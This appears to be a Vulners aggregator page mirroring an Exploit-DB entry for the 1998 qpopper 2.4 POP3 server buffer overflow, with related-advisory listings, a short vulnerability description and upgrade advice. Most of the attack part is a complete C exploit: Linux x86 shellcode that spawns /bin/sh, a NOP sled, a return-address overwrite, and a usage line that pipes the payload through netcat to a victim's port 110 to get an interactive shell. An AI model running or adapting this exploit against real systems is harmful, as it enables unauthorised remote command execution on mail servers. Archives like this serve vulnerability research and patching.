Lucene search
+L

Qualcomm qpopper 2.4 - POP Server Buffer Overflow (1)

🗓️ 27 Jun 1998 00:00:00Reported by Seth McGannType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 22 Views

Buffer overflow in Qualcomm qpopper 2.4 allows remote command execution. Upgrade to version 2.5 now.

Related
Code
ReporterTitlePublishedViews
Family
nessus
Tenable Nessus
qpopper < 4.0 PASS Command Remote Overflow
20 Aug 200400:00
nessus
nessus
Tenable Nessus
Qpopper PASS Command Remote Overflow
22 Jun 199900:00
nessus
cve
CVE
CVE-1999-0006
29 Sep 199904:00
cve
cvelist
Cvelist
CVE-1999-0006
29 Sep 199904:00
cvelist
exploitdb
Exploit DB
Qualcomm qpopper 2.4 - POP Server Buffer Overflow (2)
27 Jun 199800:00
exploitdb
euvd
EUVD
EUVD-1999-0006
7 Oct 202500:30
euvd
nvd
NVD
CVE-1999-0006
14 Jul 199804:00
nvd
ptsecurity
Positive Technologies
PT-1998-1003 · Qpopper · Qpopper
14 Jul 199800:00
ptsecurity
redhatcve
RedhatCVE
CVE-1999-0006
7 Jan 202609:39
redhatcve
susecve
SUSE CVE
SUSE CVE-1999-0006
6 Aug 202404:50
susecve
Rows per page
// source: https://www.securityfocus.com/bid/133/info

A number of buffer-overflow issues reside in versions prior to 2.5 of Qualcomm's 'qpopper' program. Exploiting this issue allows a remote attacker to execute arbitrary commands on hosts that are running a vulnerable version.

To determine if you are vulnerable, telnet to port 110 on the possibly vulnerable host. A banner appears, informing you of the version of the pop server. For example:

% telnet yourmailhost.your.domain.com 110
Trying 123.123.123.123
Connected to mailhost
+OK QPOP (version 2.4) at yourmailhost.your.domain.com starting

If any version prior to 2.5 is reported, including 2.5 beta, you should upgrade immediately to the latest version.

/* Exploit for qpopper 2.4 (and others) for Linux
 *   by [WaR] ([email protected]) and zav ([email protected])
 *
 *  usage: (./qpopper <offset>;cat)|nc <victim> 110
 *       with offset around 1000 (try increments of 50)
 *
 *
 *    shout outs to: Zef and YZF
 */

#include <stdio.h>
#include <stdlib.h>

#define BUFFSIZE 998

char shell[] =
   "\xeb\x33\x5e\x89\x76\x08\x31\xc0"
   "\x88\x66\x07\x83\xee\x02\x31\xdb"
   "\x89\x5e\x0e\x83\xc6\x02\xb0\x1b"
   "\x24\x0f\x8d\x5e\x08\x89\xd9\x83"
   "\xee\x02\x8d\x5e\x0e\x89\xda\x83"
   "\xc6\x02\x89\xf3\xcd\x80\x31\xdb"
   "\x89\xd8\x40\xcd\x80\xe8\xc8\xff"
   "\xff\xff/bin/sh";

unsigned long esp()
{
  __asm__(" movl %esp,%eax ");
}

main(int argc, char **argv)
{
  int i,j,offset;
  unsigned long eip;
  char buffer[4096];

  j=0;
  offset=atoi(argv[1]);
  eip=esp()+offset;
  for(i=0;i<1008;i++) buffer[i]=0x90;
  for(i=(BUFFSIZE - strlen(shell));i<BUFFSIZE;i++) buffer[i]=shell[j++];

  i=1005;
  buffer[i]=eip & 0xff;
  buffer[i+1]=(eip >> 8) & 0xff;
  buffer[i+2]=(eip >> 16) & 0xff;
  buffer[i+3]=(eip >> 24) & 0xff;

  printf("%s\nsh -i\n",buffer);
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Jun 2012 00:00Current
7.2High risk
Vulners AI Score7.2
CVSS 210
CVSS 3.19.8
EPSS0.119
SSVC
22